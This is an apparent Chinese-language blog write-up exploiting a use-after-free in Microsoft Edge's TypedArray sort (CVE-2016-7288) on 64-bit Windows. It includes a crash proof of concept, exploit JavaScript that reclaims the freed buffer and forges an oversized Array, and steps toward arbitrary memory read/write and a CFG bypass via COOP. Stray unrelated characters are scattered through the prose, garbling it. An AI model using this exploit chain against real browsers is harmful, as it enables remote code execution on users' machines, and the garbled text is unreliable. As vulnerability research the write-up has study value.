漏洞概述
該漏洞是一個(gè)驗(yàn)證不嚴(yán)格導(dǎo)致的 UAF 漏洞,漏洞樣本和原因在 P0 網(wǎng)站上都能找到 Issue 983
漏洞樣本
P0 提供的樣本并不能保證漏洞的穩(wěn)定觸發(fā)轨奄,這里根據(jù) http://blog.quarkslab.com/exploiting-ms16-145-ms-edge-typedarraysort-use-after-free-cve-2016-7288.html 文章的內(nèi)容對(duì)樣本進(jìn)行了修改嘱丢,使其可以穩(wěn)定崩潰
<html><body><script>
var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);
function v(){
the_worker = new Worker('the_worker.js');
the_worker.onmessage = function(evt) {
console.log("worker.onmessage: " + evt.toString());
}
//Neuter the ArrayBuffer
the_worker.postMessage(buf, [buf]);
//Force the underlying raw buffer to be freed before returning!
the_worker.terminate();
the_worker = null;
var start = Date.now();
while (Date.now() - start < 2000){
}
return 0;
}
function compareNumbers(a, b) {
return {valueOf : v};
}
try{
numbers.sort(compareNumbers);
}catch(e){
alert(e.message);
}
</script></body></html>
漏洞環(huán)境
這里使用的漏洞環(huán)境是 Win 10 x64 ,Edge 版本為 11.0.14393.0
漏洞分析
該漏洞產(chǎn)生的原因是由于如下代碼判斷不完善
template<typename T> int __cdecl TypedArrayCompareElementsHelper(void* context, const void* elem1, const void* elem2)
{
//......
Var retVal = CALL_FUNCTION(compFn, CallInfo(CallFlags_Value, 3),
undefined,
JavascriptNumber::ToVarWithCheck((double)x, scriptContext),
JavascriptNumber::ToVarWithCheck((double)y, scriptContext));
Assert(TypedArrayBase::Is(contextArray[0]));
if (TypedArrayBase::IsDetachedTypedArray(contextArray[0]))
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_DetachedTypedArray, _u("[TypedArray].prototype.sort"));
}
if (TaggedInt::Is(retVal))
{
return TaggedInt::ToInt32(retVal);
}
if (JavascriptNumber::Is_NoTaggedIntCheck(retVal))
{
dblResult = JavascriptNumber::GetValue(retVal);
}
else
{
dblResult = JavascriptConversion::ToNumber_Full(retVal, scriptContext);
}
//......
}
函數(shù)在調(diào)用 CALL_FUNCTION
之后,為了防止在 js 中對(duì) TypedArray 進(jìn)行直接操作坦辟,函數(shù)立刻進(jìn)行了驗(yàn)證,若在 js 中 TypedArray 被釋放則拋出異常章办;但是隨后的函數(shù) ToNumber_Full
語(yǔ)句會(huì)調(diào)用 ValueOf
方法將 CALL_FUNCTION
的返回值轉(zhuǎn)化為 Number锉走,這里又會(huì)進(jìn)入 js 層的調(diào)用滨彻,而其后卻沒(méi)有驗(yàn)證,從而可能導(dǎo)致崩潰挠日。如樣本所示在 ValueOf
函數(shù)中將 TypedArray 釋放疮绷,再次訪問(wèn) TypedArray 時(shí)就會(huì)觸發(fā)漏洞。
漏洞利用
內(nèi)存占位
該漏洞是一個(gè) UAF 漏洞嚣潜,漏洞觸發(fā)點(diǎn)處于 Array.sort
中對(duì) Array 中數(shù)據(jù)進(jìn)行交換時(shí)冬骚。因此可以考慮使用一個(gè) Array 對(duì)象占位,然而在 Edge 瀏覽器中一般的 Array 對(duì)象的內(nèi)存空間與 ArrayBuffer 的內(nèi)存空間分別處于兩種區(qū)域內(nèi)懂算。Array 的內(nèi)存空間由 Memgc 統(tǒng)一分配和管理只冻,而 ArrayBuffer 的分配函數(shù)如下代碼所示
JavascriptArrayBuffer::JavascriptArrayBuffer(uint32 length, DynamicType * type) :
ArrayBuffer(length, type, (IsValidVirtualBufferLength(length)) ? AllocWrapper : malloc)
{
}
bool JavascriptArrayBuffer::IsValidVirtualBufferLength(uint length)
{
#if _WIN64
/*
1. length >= 2^16
2. length is power of 2 or (length > 2^24 and length is multiple of 2^24)
3. length is a multiple of 4K
*/
return (!PHASE_OFF1(Js::TypedArrayVirtualPhase) &&
(length >= 0x10000) &&
(((length & (~length + 1)) == length) ||
(length >= 0x1000000 &&
((length & 0xFFFFFF) == 0)
)
) &&
((length % AutoSystemInfo::PageSize) == 0)
);
#else
return false;
#endif
}
在64位的系統(tǒng)中,當(dāng)申請(qǐng)的 ArrayBuffer 大小小于 0x10000 時(shí)會(huì)調(diào)用 malloc
完成分配计技,ArrayBuffer 處于 CRT 堆中喜德;當(dāng)申請(qǐng)的 Array 大于 0x10000 且按頁(yè)對(duì)齊時(shí)會(huì)調(diào)用 AllocWrapper
即 VirtualAlloc
分配。
Array 對(duì)象當(dāng)請(qǐng)求的空間大小很大時(shí)垮媒,Memgc也是直接使用 VirtualAlloc 完成分配請(qǐng)求舍悯。因此這里可以考慮使用一個(gè)大小為 0x10000 的 NativeIntArray 對(duì) ArrayBuffer 進(jìn)行占位。如下圖睡雇,占位成功萌衬。
獲取越界數(shù)組
再考慮崩潰點(diǎn)為 sort
函數(shù)交換數(shù)據(jù)時(shí)。若能在此時(shí)控制交換兩個(gè)數(shù)據(jù)的位置它抱,便可能可以實(shí)現(xiàn)將 Array 對(duì)象的 Length 與 其內(nèi)容相交換秕豫,從而將 Length 的長(zhǎng)度修改為任意數(shù)值。Sort
函數(shù)在其內(nèi)部使用快速排序?qū)崿F(xiàn)观蓄,其交換方式如圖所示混移,其中樞紐值采用三數(shù)取中法確定,函數(shù)源碼可以參見 qsort
因此只需將 Length 所在位置的值設(shè)置的比樞紐值大侮穿,將某一數(shù)據(jù)部分的值設(shè)置為比樞紐值小歌径,其余位置按正常順序升序排列即可。這里的樞紐值為 ArrayBuffer 0x2000 處的值 0x2000撮珠。Length 所在位置由上圖可知在內(nèi)存塊偏移 0x28 處沮脖,只需將該值設(shè)置為大于 0x2000即可。由此占位并實(shí)現(xiàn)超長(zhǎng)Array 的利用代碼如下
var buf = new ArrayBuffer(0x10000);
var numbers = new Uint32Array(buf);
for(var i=0xa;i<numbers.length;i++)
{
numbers[i] = i;
}
numbers[0xa] = 0x55555555;
numbers[0x3ffe] = 0x10ad;
function reclaim(){
var NUMBER_ARRAYS = 5000;
arr = new Array(NUMBER_ARRAYS);
for (var i = 0; i < NUMBER_ARRAYS; i++) {
arr[i] = new Array((0x10000-0x38)/4);
for (var j = 0; j < arr[i].length; j++) {
arr[i][j] = 0x41414141;
}
arr[i][0x3ff0] = 0x7fffffff;
arr[i][5] = i;
}
}
function v(){
if(this.a == 0x10ad&& this.b == 0x2000)
{
the_worker = new Worker('the_worker.js');
the_worker.onmessage = function(evt) {
console.log("worker.onmessage: " + evt.toString());
}
//Neuter the ArrayBuffer
the_worker.postMessage(buf, [buf]);
//Force the underlying raw buffer to be freed before returning!
the_worker.terminate();
the_worker = null;
var start = Date.now();
while (Date.now() - start < 2000){
}
reclaim()
return 0;
}else{
return this.a-this.b;
}
return this.a - this.b;
}
function compareNumbers(a, b) {
return {valueOf : v,"a":a,"b":b};
}
numbers.sort(compareNumbers);
成功修改 Array 長(zhǎng)度后內(nèi)存情況如下芯急。此時(shí)我們便可以使用這個(gè) Array 進(jìn)行越界訪問(wèn)勺届。
任意地址讀寫
接著我們需要通過(guò)這個(gè)越界的 Array 獲得任意地址讀寫的能力。在 64 位的系統(tǒng)下任意地址讀寫比 32 位系統(tǒng)復(fù)雜一些娶耍。首先免姿,僅使用一個(gè)越界數(shù)組最多只能訪問(wèn) 4G 大小的內(nèi)存空間,通過(guò)其是無(wú)法得到全內(nèi)存讀寫能力的(關(guān)于將長(zhǎng)度設(shè)置為 0xffffffff 的方法可以參考 exp-sky 的演講)榕酒。其次胚膊, 64 位系統(tǒng)下的地址空間非常大故俐,無(wú)法通過(guò)堆噴來(lái)完全覆蓋,且 Edge 在進(jìn)程內(nèi)存使用超過(guò) 4G 時(shí)便會(huì)拋出異常紊婉。
基于以上原因药版,在 64 位下實(shí)現(xiàn)任意地址讀寫功能還需要對(duì)象其他字段的配合。對(duì)于本漏洞利用喻犁,這里的思路是通過(guò)越界的 Array 越界修改 ArrayBuffer 對(duì)象的 backingstore 字段(實(shí)際數(shù)據(jù)指針)槽片,用這種方法使 ArraBuffer 可以訪問(wèn)任意內(nèi)存,從而達(dá)到任意地址讀寫的目的肢础。
首先仍然需要通過(guò)堆布局还栓,在該越界的 Array 內(nèi)存后布局上對(duì)象,這里選用的對(duì)象為 DataView传轰。DataView 也是由 Memgc 負(fù)責(zé)管理剩盒,其實(shí)際的分配位置也是存在于 VirtualAlloc 的空間中,因此當(dāng)分配了大量 DataView 之后慨蛙,總會(huì)有一部分 DataView 落在越界 Array 附近辽聊。其內(nèi)存情況如圖所示
其中數(shù)據(jù) 0x800
是其所操作的 ArrayBuffer 的長(zhǎng)度,0x16771980000
為ArrayBuffer 對(duì)象的地址期贫,0x1676f88c800
為 backingstore 指針身隐。直接通過(guò)越界 Array 修改 backingstore 便可以通過(guò) DataView 實(shí)現(xiàn)任意地址讀寫。
Array 數(shù)組在操作 0x7fffffff 以上的數(shù)據(jù)時(shí)會(huì)略微麻煩一些唯灵。這里為了便于理解,不直接使用 Array 隙轻,而是再修改一層數(shù)據(jù)埠帕。通過(guò) DataView 修改 ArrayBuffer 來(lái)實(shí)現(xiàn)任意地址讀寫。
如上圖所示玖绿,這里首先將 DataView 中保存的 backingstore 替換為 ArrayBuffer 指針敛瓷,接著通過(guò) DataView 修改 ArrayBuffer 的實(shí)際 backingstore。
這樣斑匪,我們便實(shí)現(xiàn)了64位系統(tǒng)下的任意地址讀寫呐籽,讀出的部分?jǐn)?shù)據(jù)如圖所示
COOP
COOP 全稱 Counterfeit Object-oriented Programming,是一種較為新型的代碼重用攻擊蚀瘸。其攻擊方式不同于 ROP(Return-oriented Programming)狡蝶,是通過(guò)多次調(diào)用合法函數(shù),并利用合法函數(shù)調(diào)用后殘留的數(shù)據(jù)信息來(lái)達(dá)成攻擊目的贮勃。
由于筆者關(guān)于 COOP 的理解還不是很深入贪惹,因此在這里不做過(guò)多的探討。下面的文章中有實(shí)際攻擊的案例寂嘉,經(jīng)筆者測(cè)試在當(dāng)前漏洞環(huán)境下可行奏瞬。Disarming Control Flow Guard Using Advanced Code Reuse Attacks
更多關(guān)于 COOP 的信息枫绅,可以參見論文 Counterfeit Object-oriented Programming
漏洞小節(jié)
該漏洞是筆者第一次在 x64 環(huán)境下進(jìn)行的漏洞利用,由于水平的限制難免會(huì)有很多疏漏硼端。x64 的漏洞利用真的比 x86 下復(fù)雜太多了~~